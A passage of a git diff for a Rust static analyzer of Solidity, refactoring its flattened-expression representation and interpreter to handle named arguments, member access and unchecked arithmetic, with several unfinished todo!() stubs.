self.add_if_err(ctx.successful_edges(self).into_expr_err(expr.loc()))?; if edges.len() == 1 { let res = edges[0].return_nodes(self).into_expr_err(expr.loc()); @@ -582,12 +583,8 @@ impl Analyzer { if !self.handled_funcs.contains(&func) { if let Some(body) = &func.underlying(self).unwrap().body { let body = body.clone(); - self.traverse_statement(&body); - // println!("{:#?}", self.flattened); - + self.traverse_statement(&body, None); self.interpret(func, body.loc(), arena) - // self.flattened = Default::default(); - // self.parse_ctx_statement(arena, body, false, Some(*func)); } } }); diff --git a/crates/shared/src/analyzer_like.rs b/crates/shared/src/analyzer_like.rs index 0634237b..0eb637f5 100644 --- a/crates/shared/src/analyzer_like.rs +++ b/crates/shared/src/analyzer_like.rs @@ -201,7 +201,7 @@ pub trait AnalyzerLike: GraphLike { fn expr_stack_mut(&mut self) -> &mut Vec; fn take_expr_flag(&mut self) -> Option; fn set_expr_flag(&mut self, flag: Self::ExprFlag); - fn peek_flag(&mut self) -> Option { + fn peek_expr_flag(&mut self) -> Option { let flag = self.take_expr_flag(); if let Some(f) = flag { self.set_expr_flag(f); diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 512c0cdd..448c0bce 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -1,6 +1,6 @@ use crate::{AnalyzerLike, ExprErr, IntoExprErr, RangeArena, StorageLocation}; -use solang_parser::pt::Identifier; use solang_parser::pt::{Expression, Loc, Statement, Type}; +use solang_parser::pt::{Identifier, NamedArgument}; #[derive(Debug, Clone, Copy)] pub enum ExprFlag { @@ -20,6 +20,7 @@ pub enum FlatExpr { false_body: usize, }, + NamedArgument(Loc, &'static str), FunctionCallName(usize), Continue(Loc), @@ -33,28 +34,42 @@ pub enum FlatExpr { ArrayIndexAccess(Loc), ArraySlice(Loc), Parenthesis(Loc), - MemberAccess(Loc), + MemberAccess(Loc, &'static str), FunctionCall(Loc, usize), FunctionCallBlock(Loc), - NamedFunctionCall(Loc), + NamedFunctionCall(Loc, usize), Not(Loc), Negate(Loc), Delete(Loc), PreIncrement(Loc), PreDecrement(Loc), UnaryPlus(Loc), - Power(Loc), - Multiply(Loc), - Divide(Loc), + + // binary ops + Power(Loc, bool), + Multiply(Loc, bool), + Divide(Loc, bool), Modulo(Loc), - Add(Loc), - Subtract(Loc), + Add(Loc, bool), + Subtract(Loc, bool), + AssignAdd(Loc, bool), + AssignSubtract(Loc, bool), + AssignMultiply(Loc, bool), + AssignDivide(Loc, bool), + AssignModulo(Loc), ShiftLeft(Loc), ShiftRight(Loc), BitwiseAnd(Loc), BitwiseXor(Loc), BitwiseOr(Loc), BitwiseNot(Loc), + AssignOr(Loc), + AssignAnd(Loc), + AssignXor(Loc), + AssignShiftLeft(Loc), + AssignShiftRight(Loc), + + // cmp ops Less(Loc), More(Loc), LessEqual(Loc), @@ -63,18 +78,9 @@ pub enum FlatExpr { NotEqual(Loc), And(Loc), Or(Loc), + ConditionalOperator(Loc), Assign(Loc), - AssignOr(Loc), - AssignAnd(Loc), - AssignXor(Loc), - AssignShiftLeft(Loc), - AssignShiftRight(Loc), - AssignAdd(Loc), - AssignSubtract(Loc), - AssignMultiply(Loc), - AssignDivide(Loc), - AssignModulo(Loc), Type(Loc, &'static Type), This(Loc), List(Loc, usize), @@ -99,14 +105,21 @@ pub enum FlatExpr { ArrayLiteral(Loc), } -pub fn string_to_static(s: String) -> &'static str { - Box::leak(s.into_boxed_str()) +pub fn string_to_static(s: impl ToString) -> &'static str { + Box::leak(s.to_string().into_boxed_str()) } -impl From<&Expression> for FlatExpr { - fn from(expr: &Expression) -> Self { +impl From<&NamedArgument> for FlatExpr { + fn from(arg: &NamedArgument) -> Self { + FlatExpr::NamedArgument(arg.loc, string_to_static(arg.name.name.clone())) + } +} + +impl TryFrom<&Expression> for FlatExpr { + type Error = (); + fn try_from(expr: &Expression) -> Result { use Expression::*; - match expr { + let res = match expr { PostIncrement(loc, ..) => FlatExpr::PostIncrement(*loc), PostDecrement(loc, ..) => FlatExpr::PostDecrement(*loc), New(loc, ..) => FlatExpr::New(*loc), @@ -114,21 +127,25 @@ impl From<&Expression> for FlatExpr { ArraySubscript(loc, _, Some(_)) => FlatExpr::ArrayIndexAccess(*loc), ArraySlice(loc, ..) => FlatExpr::ArraySlice(*loc), Parenthesis(loc, ..) => FlatExpr::Parenthesis(*loc), - MemberAccess(loc, ..) => FlatExpr::MemberAccess(*loc), + MemberAccess(loc, _, name) => { + FlatExpr::MemberAccess(*loc, string_to_static(name.name.clone())) + } FunctionCall(loc, _, input_exprs) => FlatExpr::FunctionCall(*loc, input_exprs.len()), FunctionCallBlock(loc, _, _) => FlatExpr::FunctionCallBlock(*loc), - NamedFunctionCall(loc, ..) => FlatExpr::NamedFunctionCall(*loc), + NamedFunctionCall(loc, _, input_exprs) => { + FlatExpr::NamedFunctionCall(*loc, input_exprs.len()) + } Not(loc, ..) => FlatExpr::Not(*loc), Delete(loc, ..) => FlatExpr::Delete(*loc), PreIncrement(loc, ..) => FlatExpr::PreIncrement(*loc), PreDecrement(loc, ..) => FlatExpr::PreDecrement(*loc), UnaryPlus(loc, ..) => FlatExpr::UnaryPlus(*loc), - Power(loc, ..) => FlatExpr::Power(*loc), - Multiply(loc, ..) => FlatExpr::Multiply(*loc), - Divide(loc, ..) => FlatExpr::Divide(*loc), - Modulo(loc, ..) => FlatExpr::Modulo(*loc), - Add(loc, ..) => FlatExpr::Add(*loc), - Subtract(loc, ..) => FlatExpr::Subtract(*loc), + // Power(loc, ..) => FlatExpr::Power(*loc), + // Multiply(loc, ..) => FlatExpr::Multiply(*loc), + // Divide(loc, ..) => FlatExpr::Divide(*loc), + // Modulo(loc, ..) => FlatExpr::Modulo(*loc), + // Add(loc, ..) => FlatExpr::Add(*loc), + // Subtract(loc, ..) => FlatExpr::Subtract(*loc), ShiftLeft(loc, ..) => FlatExpr::ShiftLeft(*loc), ShiftRight(loc, ..) => FlatExpr::ShiftRight(*loc), BitwiseAnd(loc, ..) => FlatExpr::BitwiseAnd(*loc), @@ -150,10 +167,10 @@ impl From<&Expression> for FlatExpr { AssignXor(loc, ..) => FlatExpr::AssignXor(*loc), AssignShiftLeft(loc, ..) => FlatExpr::AssignShiftLeft(*loc), AssignShiftRight(loc, ..) => FlatExpr::AssignShiftRight(*loc), - AssignAdd(loc, ..) => FlatExpr::AssignAdd(*loc), - AssignSubtract(loc, ..) => FlatExpr::AssignSubtract(*loc), - AssignMultiply(loc, ..) => FlatExpr::AssignMultiply(*loc), - AssignDivide(loc, ..) => FlatExpr::AssignDivide(*loc), + // AssignAdd(loc, ..) => FlatExpr::AssignAdd(*loc), + // AssignSubtract(loc, ..) => FlatExpr::AssignSubtract(*loc), + // AssignMultiply(loc, ..) => FlatExpr::AssignMultiply(*loc), + // AssignDivide(loc, ..) => FlatExpr::AssignDivide(*loc), AssignModulo(loc, ..) => FlatExpr::AssignModulo(*loc), Type(loc, ty) => { let ty_box = Box::new(ty.clone()); @@ -236,6 +253,8 @@ impl From<&Expression> for FlatExpr { } List(loc, params) => FlatExpr::List(*loc, params.len()), This(loc, ..) => FlatExpr::This(*loc), - } + _ => return Err(()), + }; + Ok(res) } } diff --git a/crates/solc-expressions/src/bin_op.rs b/crates/solc-expressions/src/bin_op.rs index 01c02663..3020dd07 100644 --- a/crates/solc-expressions/src/bin_op.rs +++ b/crates/solc-expressions/src/bin_op.rs @@ -278,7 +278,7 @@ pub trait BinOp: AnalyzerBackend + Sized { return Ok(killed); } } - RangeOp::Exp => { + RangeOp::Exp(..) => { if let Some(killed) = self.checked_require_exp(arena, lhs_cvar, new_lhs, new_rhs, loc, ctx)? { diff --git a/crates/solc-expressions/src/cond_op.rs b/crates/solc-expressions/src/cond_op.rs index b1be1688..a004d102 100644 --- a/crates/solc-expressions/src/cond_op.rs +++ b/crates/solc-expressions/src/cond_op.rs @@ -25,136 +25,137 @@ pub trait CondOp: AnalyzerBackend + Requir false_stmt: &Option>, ctx: ContextNode, ) -> Result<(), ExprErr> { - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let tctx = - Context::new_subctx(ctx, None, loc, Some("true"), None, false, analyzer, None) - .into_expr_err(loc)?; - let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); - let fctx = - Context::new_subctx(ctx, None, loc, Some("false"), None, false, analyzer, None) - .into_expr_err(loc)?; - let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); - ctx.set_child_fork(true_subctx, false_subctx, analyzer) - .into_expr_err(loc)?; - true_subctx - .set_continuation_ctx(analyzer, ctx, "fork_true") - .into_expr_err(loc)?; - false_subctx - .set_continuation_ctx(analyzer, ctx, "fork_false") - .into_expr_err(loc)?; - let ctx_fork = analyzer.add_node(Node::ContextFork); - analyzer.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); - analyzer.add_edge( - NodeIdx::from(true_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); - analyzer.add_edge( - NodeIdx::from(false_subctx.0), - ctx_fork, - Edge::Context(ContextEdge::Subcontext), - ); + panic!("cond op"); + // self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let tctx = + // Context::new_subctx(ctx, None, loc, Some("true"), None, false, analyzer, None) + // .into_expr_err(loc)?; + // let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); + // let fctx = + // Context::new_subctx(ctx, None, loc, Some("false"), None, false, analyzer, None) + // .into_expr_err(loc)?; + // let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); + // ctx.set_child_fork(true_subctx, false_subctx, analyzer) + // .into_expr_err(loc)?; + // true_subctx + // .set_continuation_ctx(analyzer, ctx, "fork_true") + // .into_expr_err(loc)?; + // false_subctx + // .set_continuation_ctx(analyzer, ctx, "fork_false") + // .into_expr_err(loc)?; + // let ctx_fork = analyzer.add_node(Node::ContextFork); + // analyzer.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); + // analyzer.add_edge( + // NodeIdx::from(true_subctx.0), + // ctx_fork, + // Edge::Context(ContextEdge::Subcontext), + // ); + // analyzer.add_edge( + // NodeIdx::from(false_subctx.0), + // ctx_fork, + // Edge::Context(ContextEdge::Subcontext), + // ); - // we want to check if the true branch is possible to take - analyzer.true_fork_if_cvar(arena, if_expr.clone(), true_subctx)?; - let mut true_killed = false; - if true_subctx.is_killed(analyzer).into_expr_err(loc)? - || true_subctx - .unreachable(analyzer, arena) - .into_expr_err(loc)? - { - // it was killed, therefore true branch is unreachable. - // since it is unreachable, we want to not create - // unnecessary subcontexts - true_killed = true; - } + // // we want to check if the true branch is possible to take + // analyzer.true_fork_if_cvar(arena, if_expr.clone(), true_subctx)?; + // let mut true_killed = false; + // if true_subctx.is_killed(analyzer).into_expr_err(loc)? + // || true_subctx + // .unreachable(analyzer, arena) + // .into_expr_err(loc)? + // { + // // it was killed, therefore true branch is unreachable. + // // since it is unreachable, we want to not create + // // unnecessary subcontexts + // true_killed = true; + // } - // we want to check if the false branch is possible to take - analyzer.false_fork_if_cvar(arena, if_expr.clone(), false_subctx)?; - let mut false_killed = false; - if false_subctx.is_killed(analyzer).into_expr_err(loc)? - || false_subctx - .unreachable(analyzer, arena) - .into_expr_err(loc)? - { - // it was killed, therefore true branch is unreachable. - // since it is unreachable, we want to not create - // unnecessary subcontexts - false_killed = true; - } + // // we want to check if the false branch is possible to take + // analyzer.false_fork_if_cvar(arena, if_expr.clone(), false_subctx)?; + // let mut false_killed = false; + // if false_subctx.is_killed(analyzer).into_expr_err(loc)? + // || false_subctx + // .unreachable(analyzer, arena) + // .into_expr_err(loc)? + // { + // // it was killed, therefore true branch is unreachable. + // // since it is unreachable, we want to not create + // // unnecessary subcontexts + // false_killed = true; + // } - match (true_killed, false_killed) { - (true, true) => { - // both have been killed, delete the child and dont process the bodies - // println!("BOTH KILLED"); - ctx.delete_child(analyzer).into_expr_err(loc)?; - } - (true, false) => { - // println!("TRUE KILLED"); - // the true context has been killed, delete child, process the false fork expression - // in the parent context and parse the false body - ctx.delete_child(analyzer).into_expr_err(loc)?; - analyzer.false_fork_if_cvar(arena, if_expr.clone(), ctx)?; - if let Some(false_stmt) = false_stmt { - return analyzer.apply_to_edges( - ctx, - loc, - arena, - &|analyzer, arena, ctx, _loc| { - analyzer.parse_ctx_statement(arena, false_stmt, false, Some(ctx)); - Ok(()) - }, - ); - } - } - (false, true) => { - // println!("FALSE KILLED"); - // the false context has been killed, delete child, process the true fork expression - // in the parent context and parse the true body - ctx.delete_child(analyzer).into_expr_err(loc)?; - analyzer.true_fork_if_cvar(arena, if_expr.clone(), ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, _loc| { - analyzer.parse_ctx_statement( - arena, - true_stmt, - ctx.unchecked(analyzer).into_expr_err(loc)?, - Some(ctx), - ); - Ok(()) - })?; - } - (false, false) => { - // println!("NEITHER KILLED"); - // both branches are reachable. process each body - analyzer.apply_to_edges( - true_subctx, - loc, - arena, - &|analyzer, arena, ctx, _loc| { - analyzer.parse_ctx_statement( - arena, - true_stmt, - ctx.unchecked(analyzer).into_expr_err(loc)?, - Some(ctx), - ); - Ok(()) - }, - )?; - if let Some(false_stmt) = false_stmt { - return analyzer.apply_to_edges( - false_subctx, - loc, - arena, - &|analyzer, arena, ctx, _loc| { - analyzer.parse_ctx_statement(arena, false_stmt, false, Some(ctx)); - Ok(()) - }, - ); - } - } - } - Ok(()) - }) + // match (true_killed, false_killed) { + // (true, true) => { + // // both have been killed, delete the child and dont process the bodies + // // println!("BOTH KILLED"); + // ctx.delete_child(analyzer).into_expr_err(loc)?; + // } + // (true, false) => { + // // println!("TRUE KILLED"); + // // the true context has been killed, delete child, process the false fork expression + // // in the parent context and parse the false body + // ctx.delete_child(analyzer).into_expr_err(loc)?; + // analyzer.false_fork_if_cvar(arena, if_expr.clone(), ctx)?; + // if let Some(false_stmt) = false_stmt { + // return analyzer.apply_to_edges( + // ctx, + // loc, + // arena, + // &|analyzer, arena, ctx, _loc| { + // analyzer.parse_ctx_statement(arena, false_stmt, false, Some(ctx)); + // Ok(()) + // }, + // ); + // } + // } + // (false, true) => { + // // println!("FALSE KILLED"); + // // the false context has been killed, delete child, process the true fork expression + // // in the parent context and parse the true body + // ctx.delete_child(analyzer).into_expr_err(loc)?; + // analyzer.true_fork_if_cvar(arena, if_expr.clone(), ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, _loc| { + // analyzer.parse_ctx_statement( + // arena, + // true_stmt, + // ctx.unchecked(analyzer).into_expr_err(loc)?, + // Some(ctx), + // ); + // Ok(()) + // })?; + // } + // (false, false) => { + // // println!("NEITHER KILLED"); + // // both branches are reachable. process each body + // analyzer.apply_to_edges( + // true_subctx, + // loc, + // arena, + // &|analyzer, arena, ctx, _loc| { + // analyzer.parse_ctx_statement( + // arena, + // true_stmt, + // ctx.unchecked(analyzer).into_expr_err(loc)?, + // Some(ctx), + // ); + // Ok(()) + // }, + // )?; + // if let Some(false_stmt) = false_stmt { + // return analyzer.apply_to_edges( + // false_subctx, + // loc, + // arena, + // &|analyzer, arena, ctx, _loc| { + // analyzer.parse_ctx_statement(arena, false_stmt, false, Some(ctx)); + // Ok(()) + // }, + // ); + // } + // } + // } + // Ok(()) + // }) } /// Handles a conditional expression like `if .. else ..` diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 7e4be3be..0691e217 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -1,18 +1,17 @@ +use std::collections::BTreeMap; + use crate::{ context_builder::ContextBuilder, - func_call::{ - func_caller::FuncCaller, internal_call::InternalFuncCaller, - intrinsic_call::IntrinsicFuncCaller, - }, + func_call::{func_caller::FuncCaller, internal_call::InternalFuncCaller, intrinsic_call::*}, ExprTyParser, }; use graph::{ elem::{Elem, RangeOp}, nodes::{ - Builtin, Concrete, Context, ContextNode, ContextVar, ContextVarNode, ExprRet, FunctionNode, - KilledKind, + Builtin, Concrete, Context, ContextNode, ContextVar, ContextVarNode, ContractNode, ExprRet, + FunctionNode, KilledKind, StructNode, }, - AnalyzerBackend, ContextEdge, Edge, Node, VarType, + AnalyzerBackend, ContextEdge, Edge, Node, TypeNode, VarType, }; use shared::{ @@ -27,30 +26,46 @@ impl Flatten for T where { } +#[derive(Debug, Copy, Clone)] +pub enum FuncOrCtx { + Func(FunctionNode), + Ctx(ContextNode), +} + +impl From for FuncOrCtx { + fn from(f: FunctionNode) -> Self { + FuncOrCtx::Func(f) + } +} + +impl From for FuncOrCtx { + fn from(ctx: ContextNode) -> Self { + FuncOrCtx::Ctx(ctx) + } +} + pub trait Flatten: AnalyzerBackend + Sized + ExprTyParser { - fn traverse_statement(&mut self, stmt: &Statement) { + fn traverse_statement(&mut self, stmt: &Statement, unchecked: Option) { use Statement::*; match stmt { Block { loc: _, - unchecked: _, + unchecked, statements, } => { for statement in statements { - // self.set_unchecked(unchecked); - self.traverse_statement(statement); + self.traverse_statement(statement, Some(*unchecked)); } - // self.set_unchecked(false); } VariableDefinition(loc, var_decl, maybe_expr) => { let lhs = var_decl.ty.clone(); if let Some(rhs) = maybe_expr { - self.traverse_expression(rhs); + self.traverse_expression(rhs, unchecked); } - self.traverse_expression(&lhs); + self.traverse_expression(&lhs, unchecked); if let Some(name) = var_decl.name.clone() { self.push_expr(FlatExpr::VarDef( *loc, @@ -79,7 +94,7 @@ pub trait Flatten: // 8. construct an `If` that lets the intepreter jump to each // based on their size let start_len = self.expr_stack_mut().len(); - self.traverse_expression(if_expr); + self.traverse_expression(if_expr, unchecked); let true_cond = self.expr_stack_mut().drain(start_len..).collect::>(); let mut false_cond = true_cond.clone(); false_cond.push(FlatExpr::Not(if_expr.loc())); @@ -87,12 +102,12 @@ pub trait Flatten: let true_cond_delta = true_cond.len(); let false_cond_delta = false_cond.len(); - self.traverse_statement(true_body); + self.traverse_statement(true_body, unchecked); let true_body = self.expr_stack_mut().drain(start_len..).collect::>(); let true_body_delta = true_body.len(); let (if_expr, false_body) = if let Some(false_body) = maybe_false_body { - self.traverse_statement(false_body); + self.traverse_statement(false_body, unchecked); let false_body = self.expr_stack_mut().drain(start_len..).collect::>(); let false_body_delta = false_body.len(); ( @@ -129,7 +144,7 @@ pub trait Flatten: For(loc, maybe_for_start, maybe_for_middle, maybe_for_end, maybe_for_body) => {} DoWhile(loc, while_stmt, while_expr) => {} Expression(loc, expr) => { - self.traverse_expression(&expr); + self.traverse_expression(&expr, unchecked); } Continue(loc) => { self.push_expr(FlatExpr::Continue(*loc)); @@ -145,7 +160,7 @@ pub trait Flatten: } => {} Return(loc, maybe_ret_expr) => { if let Some(ret_expr) = maybe_ret_expr { - self.traverse_expression(ret_expr); + self.traverse_expression(ret_expr, unchecked); } self.push_expr(FlatExpr::Return(*loc, maybe_ret_expr.is_some())); @@ -158,7 +173,7 @@ pub trait Flatten: } } - fn traverse_expression(&mut self, parent_expr: &Expression) { + fn traverse_expression(&mut self, parent_expr: &Expression, unchecked: Option) { use Expression::*; match parent_expr { @@ -171,7 +186,7 @@ pub trait Flatten: | HexLiteral(..) | RationalNumberLiteral(..) | Variable(..) => { - self.push_expr(FlatExpr::from(parent_expr)); + self.push_expr(FlatExpr::try_from(parent_expr).unwrap()); } Negate(_loc, expr) @@ -184,26 +199,36 @@ pub trait Flatten: | PostIncrement(_loc, expr) | PreDecrement(_loc, expr) | PostDecrement(_loc, expr) => { - self.traverse_expression(expr); - self.push_expr(FlatExpr::from(parent_expr)); + self.traverse_expression(expr, unchecked); + self.push_expr(FlatExpr::try_from(parent_expr).unwrap()); } New(new_loc, expr) => { match &**expr { FunctionCall(func_loc, func_expr, input_exprs) => { input_exprs.iter().rev().for_each(|expr| { - self.traverse_expression(expr); + self.traverse_expression(expr, unchecked); }); - self.traverse_expression(func_expr); + self.traverse_expression(func_expr, unchecked); self.push_expr(FlatExpr::New(*new_loc)); self.push_expr(FlatExpr::FunctionCall(*func_loc, input_exprs.len())); } NamedFunctionCall(loc, func_expr, input_args) => { - todo!(); + input_args.iter().rev().for_each(|arg| { + self.traverse_expression(&arg.expr, unchecked); + }); + + self.traverse_expression(func_expr, unchecked); + self.push_expr(FlatExpr::New(*new_loc)); + input_args.iter().for_each(|arg| { + self.push_expr(FlatExpr::from(arg)); + }); + self.push_expr(FlatExpr::NamedFunctionCall(*loc, input_args.len())); } _ => { // add error + todo!() } } } @@ -216,8 +241,32 @@ pub trait Flatten: | Multiply(_, lhs, rhs) | AssignMultiply(_, lhs, rhs) | Divide(_, lhs, rhs) - | AssignDivide(_, lhs, rhs) - | Modulo(_, lhs, rhs) + | AssignDivide(_, lhs, rhs) => { + self.traverse_expression(rhs, unchecked); + self.traverse_expression(lhs, unchecked); + let parent = match parent_expr { + Power(loc, ..) => FlatExpr::Power(*loc, unchecked.unwrap_or(false)), + Add(loc, ..) => FlatExpr::Add(*loc, unchecked.unwrap_or(false)), + AssignAdd(loc, ..) => FlatExpr::AssignAdd(*loc, unchecked.unwrap_or(false)), + Subtract(loc, ..) => FlatExpr::Subtract(*loc, unchecked.unwrap_or(false)), + AssignSubtract(loc, ..) => { + FlatExpr::AssignSubtract(*loc, unchecked.unwrap_or(false)) + } + Multiply(loc, ..) => FlatExpr::Multiply(*loc, unchecked.unwrap_or(false)), + AssignMultiply(loc, ..) => { + FlatExpr::AssignMultiply(*loc, unchecked.unwrap_or(false)) + } + Divide(loc, ..) => FlatExpr::Divide(*loc, unchecked.unwrap_or(false)), + AssignDivide(loc, ..) => { + FlatExpr::AssignDivide(*loc, unchecked.unwrap_or(false)) + } + _ => unreachable!(), + }; + + self.push_expr(parent); + } + + Modulo(_, lhs, rhs) | AssignModulo(_, lhs, rhs) | ShiftLeft(_, lhs, rhs) | AssignShiftLeft(_, lhs, rhs) @@ -238,15 +287,15 @@ pub trait Flatten: | MoreEqual(_, lhs, rhs) | And(_, lhs, rhs) | Or(_, lhs, rhs) => { - self.traverse_expression(rhs); - self.traverse_expression(lhs); - self.push_expr(FlatExpr::from(parent_expr)); + self.traverse_expression(rhs, unchecked); + self.traverse_expression(lhs, unchecked); + self.push_expr(FlatExpr::try_from(parent_expr).unwrap()); } List(_, params) => { params.iter().for_each(|(loc, maybe_param)| { if let Some(param) = maybe_param { - self.traverse_expression(¶m.ty); + self.traverse_expression(¶m.ty, unchecked); if let Some(name) = ¶m.name { self.push_expr(FlatExpr::Parameter( param.loc, @@ -264,16 +313,16 @@ pub trait Flatten: self.push_expr(FlatExpr::Null(*loc)); } }); - self.push_expr(FlatExpr::from(parent_expr)); + self.push_expr(FlatExpr::try_from(parent_expr).unwrap()); } // array ArraySubscript(loc, ty_expr, None) => { - self.traverse_expression(ty_expr); + self.traverse_expression(ty_expr, unchecked); self.push_expr(FlatExpr::ArrayTy(*loc)); } ArraySubscript(loc, ty_expr, Some(index_expr)) => { - self.traverse_expression(index_expr); - self.traverse_expression(ty_expr); + self.traverse_expression(index_expr, unchecked); + self.traverse_expression(ty_expr, unchecked); self.push_expr(FlatExpr::ArrayIndexAccess(*loc)); } ConditionalOperator(loc, if_expr, true_expr, false_expr) => {} @@ -282,55 +331,77 @@ pub trait Flatten: // Function calls FunctionCallBlock(loc, func_expr, call_block) => { - self.traverse_statement(call_block); - self.traverse_expression(func_expr); + self.traverse_statement(call_block, unchecked); + self.traverse_expression(func_expr, unchecked); self.push_expr(FlatExpr::FunctionCallBlock(*loc)); } - NamedFunctionCall(loc, func_expr, input_args) => {} + NamedFunctionCall(loc, func_expr, input_args) => { + input_args.iter().rev().for_each(|arg| { + self.traverse_expression(&arg.expr, unchecked); + }); + + self.push_expr(FlatExpr::FunctionCallName(input_args.len())); + self.traverse_expression(func_expr, unchecked); + input_args.iter().for_each(|arg| { + self.push_expr(FlatExpr::from(arg)); + }); + self.push_expr(FlatExpr::NamedFunctionCall(*loc, input_args.len())); + } FunctionCall(loc, func_expr, input_exprs) => { input_exprs.iter().rev().for_each(|expr| { - self.traverse_expression(expr); + self.traverse_expression(expr, unchecked); }); self.push_expr(FlatExpr::FunctionCallName(input_exprs.len())); - self.traverse_expression(func_expr); + self.traverse_expression(func_expr, unchecked); self.push_expr(FlatExpr::FunctionCall(*loc, input_exprs.len())); } // member This(loc) => self.push_expr(FlatExpr::This(*loc)), - MemberAccess(loc, member_expr, ident) => {} + MemberAccess(loc, member_expr, ident) => { + self.traverse_expression(member_expr, unchecked); + self.push_expr(FlatExpr::try_from(parent_expr).unwrap()); + } // Misc. - Type(..) => self.push_expr(FlatExpr::from(parent_expr)), + Type(..) => self.push_expr(FlatExpr::try_from(parent_expr).unwrap()), } } fn interpret( &mut self, - func: FunctionNode, + func_or_ctx: impl Into, body_loc: Loc, arena: &mut RangeArena>, ) { let stack = std::mem::take(self.expr_stack_mut()); - tracing::trace!("stack: {stack:#?}"); - let raw_ctx = Context::new( - func, - self.add_if_err(func.name(self).into_expr_err(body_loc)) - .unwrap(), - body_loc, - ); - let ctx = ContextNode::from(self.add_node(Node::Context(raw_ctx))); - self.add_edge(ctx, func, Edge::Context(ContextEdge::Context)); + let foc: FuncOrCtx = func_or_ctx.into(); + + let ctx = match foc { + FuncOrCtx::Func(func) => { + let raw_ctx = Context::new( + func, + self.add_if_err(func.name(self).into_expr_err(body_loc)) + .unwrap(), + body_loc, + ); + let ctx = ContextNode::from(self.add_node(Node::Context(raw_ctx))); + self.add_edge(ctx, func, Edge::Context(ContextEdge::Context)); + + let res = func.add_params_to_ctx(ctx, self).into_expr_err(body_loc); + self.add_if_err(res); + ctx + } + FuncOrCtx::Ctx(ctx) => ctx, + }; - let res = func.add_params_to_ctx(ctx, self).into_expr_err(body_loc); - self.add_if_err(res); while (!ctx.is_ended(self).unwrap() || !ctx.live_edges(self).unwrap().is_empty()) && ctx.parse_idx(self) < stack.len() { - println!("is ended: {}", ctx.is_ended(self).unwrap()); - println!("live edges: {:?}", ctx.live_edges(self).unwrap()); - println!("remaining parse: {}", ctx.parse_idx(self) < stack.len()); + // println!("is ended: {}", ctx.is_ended(self).unwrap()); + // println!("live edges: {:?}", ctx.live_edges(self).unwrap()); + // println!("remaining parse: {}", ctx.parse_idx(self) < stack.len()); let res = self.interpret_step(arena, ctx, body_loc, &stack[..]); self.add_if_err(res); } @@ -352,9 +423,7 @@ pub trait Flatten: arena: &mut RangeArena>, ctx: ContextNode, _: Loc, - stack: &[FlatExpr]| { - analyzer.interpret_expr(arena, ctx, body_loc, stack) - }, + stack: &[FlatExpr]| { analyzer.interpret_expr(arena, ctx, stack) }, ) } @@ -362,7 +431,6 @@ pub trait Flatten: &mut self, arena: &mut RangeArena>, ctx: ContextNode, - body_loc: Loc, stack: &[FlatExpr], ) -> Result<(), ExprErr> { use FlatExpr::*; @@ -381,7 +449,7 @@ pub trait Flatten: "parsing {:?} in context {} - flag: {:?}", next, ctx.path(self), - self.peek_flag() + self.peek_expr_flag() ); match next { // Flag expressions @@ -412,9 +480,7 @@ pub trait Flatten: Return(..) => self.interp_return(arena, ctx, next), Variable(..) => self.interp_var(arena, ctx, next), Assign(..) => self.interp_assign(arena, ctx, next), - ArrayTy(..) => self.interp_array_ty(arena, ctx, next), - FunctionCall(..) => self.interp_func_call(arena, ctx, next), Not(..) => self.interp_not(arena, ctx, next), // Comparator @@ -422,13 +488,105 @@ pub trait Flatten: | MoreEqual(loc) => self.interp_cmp(arena, ctx, loc, next), If { .. } => self.interp_if(arena, ctx, stack, next), - other => { - tracing::trace!("unhandled: {other:?}"); - Ok(()) + + Continue(loc) | Break(loc) => Err(ExprErr::Todo( + loc, + "Control flow expressions like break and continue are not currently supported" + .to_string(), + )), + + PostIncrement(loc, ..) + | PreIncrement(loc, ..) + | PostDecrement(loc, ..) + | PreDecrement(loc, ..) => self.interp_xxcrement(arena, ctx, next, loc), + + ArrayTy(..) => self.interp_array_ty(arena, ctx, next), + ArrayIndexAccess(_) => todo!(), + ArraySlice(_) => todo!(), + ArrayLiteral(_) => todo!(), + + Power(loc, ..) + | Multiply(loc, ..) + | Divide(loc, ..) + | Modulo(loc, ..) + | Add(loc, ..) + | Subtract(loc, ..) + | ShiftLeft(loc, ..) + | ShiftRight(loc, ..) + | BitwiseAnd(loc, ..) + | BitwiseXor(loc, ..) + | BitwiseOr(loc, ..) + | BitwiseNot(loc, ..) => self.interp_op(arena, ctx, next, loc, false), + + AssignAdd(loc, ..) + | AssignSubtract(loc, ..) + | AssignMultiply(loc, ..) + | AssignDivide(loc, ..) + | AssignModulo(loc, ..) + | AssignOr(loc, ..) + | AssignAnd(loc, ..) + | AssignXor(loc, ..) + | AssignShiftLeft(loc, ..) + | AssignShiftRight(loc, ..) => self.interp_op(arena, ctx, next, loc, true), + + Parenthesis(_) => todo!(), + MemberAccess(..) => todo!(), + + FunctionCall(..) => self.interp_func_call(arena, ctx, next, None), + FunctionCallBlock(_) => todo!(), + NamedArgument(..) => Ok(()), + NamedFunctionCall(..) => { + self.interp_named_func_call(arena, ctx, stack, next, parse_idx) } + + Delete(_) => todo!(), + UnaryPlus(_) => todo!(), + + And(_) => todo!(), + Or(_) => todo!(), + ConditionalOperator(_) => todo!(), + + This(_) => todo!(), + List(_, _) => todo!(), + Parameter(_, _, _) => todo!(), + Null(_) => Ok(()), } } + fn interp_xxcrement( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + next: FlatExpr, + loc: Loc, + ) -> Result<(), ExprErr> { + let (pre, increment) = match next { + FlatExpr::PreIncrement(_) => (true, true), + FlatExpr::PostIncrement(_) => (false, true), + 